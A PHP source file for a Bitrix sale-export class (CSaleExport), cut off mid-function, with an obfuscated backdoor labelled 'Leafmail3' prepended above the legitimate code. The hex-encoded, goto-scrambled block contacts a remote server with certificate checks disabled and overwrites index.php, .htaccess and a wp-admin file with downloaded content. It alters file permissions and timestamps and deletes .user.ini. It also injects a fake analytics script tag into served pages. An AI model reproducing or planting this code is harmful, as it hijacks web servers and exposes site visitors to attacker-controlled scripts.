Your IP : 3.133.118.144
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
use Bitrix\Sale\BusinessValue;
use Bitrix\Sale\BusinessValueConsumer1C;
IncludeModuleLangFile(__FILE__);
$GLOBALS["SALE_EXPORT"] = Array();
final class ExportOneCCRM extends CSaleExport
{
static public function normalizeExternalCode($xml)
{
static $sales = null;
list($originatorId, $productXmlId) = explode("#", $xml, 2);
if($productXmlId<>'')
{
if($sales === null)
$sales = CCrmExternalSaleHelper::PrepareListItems();
if(isset($sales[$originatorId]))
{
$xml = $productXmlId;
}
}
return parent::normalizeExternalCode($xml);
}
}
//class CAllSaleExport
class CSaleExport
{
const DEFAULT_VERSION = 2.05;
const PARTIAL_VERSION = 2.1;
const CONTAINER_VERSION = 3;
const LAST_ORDER_PREFIX = 'LAST_ORDER_ID';
const DIVIDER_NUMBER_POSITION = 100000;
static $versionSchema;
static $crmMode;
static $currency;
static $measures;
static $orderTax;
static $arResultStat = array();
static $xmlVersion = "1.0";
static $xmlEncoding = "windows-1251";
static $xmlRootName = "<?xml version=\"#version#\" encoding=\"#encoding#\"?>";
static $typeDocument = "";
static $deliveryAdr = "";
static $siteNameByOrder = "";
static $documentsToLog;
protected static $lid = null;
/**
* @param $value
* @return string
*/
protected static function toText($value)
{
$value = preg_replace('/<style[^>]*>.*?<\/style>/is', '', $value);
$value = preg_replace('/<blockquote[^>]*>.*?<\/blockquote>/is', '', $value);
$value = preg_replace('/<script[^>]*>.*?<\/script>/is', '', $value);
return html_entity_decode(
strip_tags(
preg_replace('/(<br[^>]*>)+/is'.BX_UTF_PCRE_MODIFIER, "\n", $value)
)
);
}
static public function getNumberBasketPosition($basketId)
{
return intval($basketId) % self::DIVIDER_NUMBER_POSITION;
}
public static function setLanguage($value)
{
static::$lid = $value;
}
static function setXmlEncoding($encoding)
{
self::$xmlEncoding = $encoding;
}
static function getXmlRootName()
{
return str_replace(array("#version#","#encoding#"),array(self::$xmlVersion,self::$xmlEncoding),self::$xmlRootName);
}
static function getCmrXmlRootNameParams()
{
return CSaleExport::getTagName("SALE_EXPORT_SHEM_VERSION")."=\"".self::getVersionSchema()."\" ".CSaleExport::getTagName("SALE_EXPORT_SHEM_DATE_CREATE")."=\"".date("Y-m-d")."T".date("G:i:s")."\" ".CSaleExport::getTagName("SALE_EXPORT_DATE_FORMAT")."=\"".CSaleExport::getTagName("SALE_EXPORT_DATE_FORMAT_DF")."=yyyy-MM-dd; ".CSaleExport::getTagName("SALE_EXPORT_DATE_FORMAT_DLF")."=DT\" ".CSaleExport::getTagName("SALE_EXPORT_DATE_FORMAT_DATETIME")."=\"".CSaleExport::getTagName("SALE_EXPORT_DATE_FORMAT_DF")."=".CSaleExport::getTagName("SALE_EXPORT_DATE_FORMAT_TIME")."; ".CSaleExport::getTagName("SALE_EXPORT_DATE_FORMAT_DLF")."=T\" ".CSaleExport::getTagName("SALE_EXPORT_DEL_DT")."=\"T\" ".CSaleExport::getTagName("SALE_EXPORT_FORM_SUMM")."=\"".CSaleExport::getTagName("SALE_EXPORT_FORM_CC")."=18; ".CSaleExport::getTagName("SALE_EXPORT_FORM_CDC")."=2; ".CSaleExport::getTagName("SALE_EXPORT_FORM_CRD")."=.\" ".CSaleExport::getTagName("SALE_EXPORT_FORM_QUANT")."=\"".CSaleExport::getTagName("SALE_EXPORT_FORM_CC")."=18; ".CSaleExport::getTagName("SALE_EXPORT_FORM_CDC")."=2; ".CSaleExport::getTagName("SALE_EXPORT_FORM_CRD")."=.\"";
}
static function getDeliveryAddress()
{
return self::$deliveryAdr;
}
static function setDeliveryAddress($deliveryAdr)
{
self::$deliveryAdr = $deliveryAdr;
}
static function setVersionSchema($versionSchema=false)
{
self::$versionSchema = $versionSchema;
}
static function setCrmMode($crmMode)
{
self::$crmMode = $crmMode;
}
static function setCurrencySchema($currency)
{
self::$currency = $currency;
}
static function getVersionSchema()
{
return doubleval(str_replace(" ", "", str_replace(",", ".", (!empty(self::$versionSchema) ? self::$versionSchema : self::DEFAULT_VERSION))));
}
/**
* @return int|null
*/
public static function getCashBoxOneCId()
{
static $cashBoxOneCId = null;
if($cashBoxOneCId === null)
{
$cashBoxOneCId = \Bitrix\Sale\Cashbox\Cashbox1C::getId();
}
return $cashBoxOneCId;
}
static function isExportFromCRM($arOptions)
{
return (isset($arOptions["EXPORT_FROM_CRM"]) && $arOptions["EXPORT_FROM_CRM"] === "Y");
}
static function getEndTime($time_limit)
{ //This is an optimization. We assume than no step can take more than one year.
if($time_limit > 0)
$end_time = time() + $time_limit;
else
$end_time = time() + 365*24*3600; // One year
return $end_time;
}
static function checkTimeIsOver($time_limit,$end_time)
{
if(IntVal($time_limit) > 0 && time() > $end_time )
return true;
else
return false;
}
static function getOrderPrefix()
{
return self::LAST_ORDER_PREFIX;
}
function getAccountNumberShopPrefix()
{
static $accountNumberShopPrefix = null;
if($accountNumberShopPrefix === null)
$accountNumberShopPrefix = COption::GetOptionString("sale", "1C_SALE_ACCOUNT_NUMBER_SHOP_PREFIX", "");
return $accountNumberShopPrefix;
}
function getSalePaySystem()
{
$paySystems = array();
$dbPaySystem = CSalePaySystem::GetList(Array("ID" => "ASC"), Array("ACTIVE" => "Y"), false, false, Array("ID", "NAME", "ACTIVE"));
while($arPaySystem = $dbPaySystem -> Fetch())
$paySystems[$arPaySystem["ID"]] = $arPaySystem["NAME"];
return $paySystems;
}
function getSaleDelivery()
{
$delivery = array();
$dbDeliveryList = \Bitrix\Sale\Delivery\Services\Table::GetList();
while($service = $dbDeliveryList->fetch())
{
$deliveryObj = Bitrix\Sale\Delivery\Services\Manager::createObject($service);
$delivery[$deliveryObj->GetId()] = ($deliveryObj->isProfile() ? $deliveryObj->getNameWithParent():$deliveryObj->getName());
}
return $delivery;
}
static function getCatalogStore()
{
$arStore = array();
if(CModule::IncludeModule("catalog"))
{
$dbList = CCatalogStore::GetList(
array("SORT" => "DESC", "ID" => "ASC"),
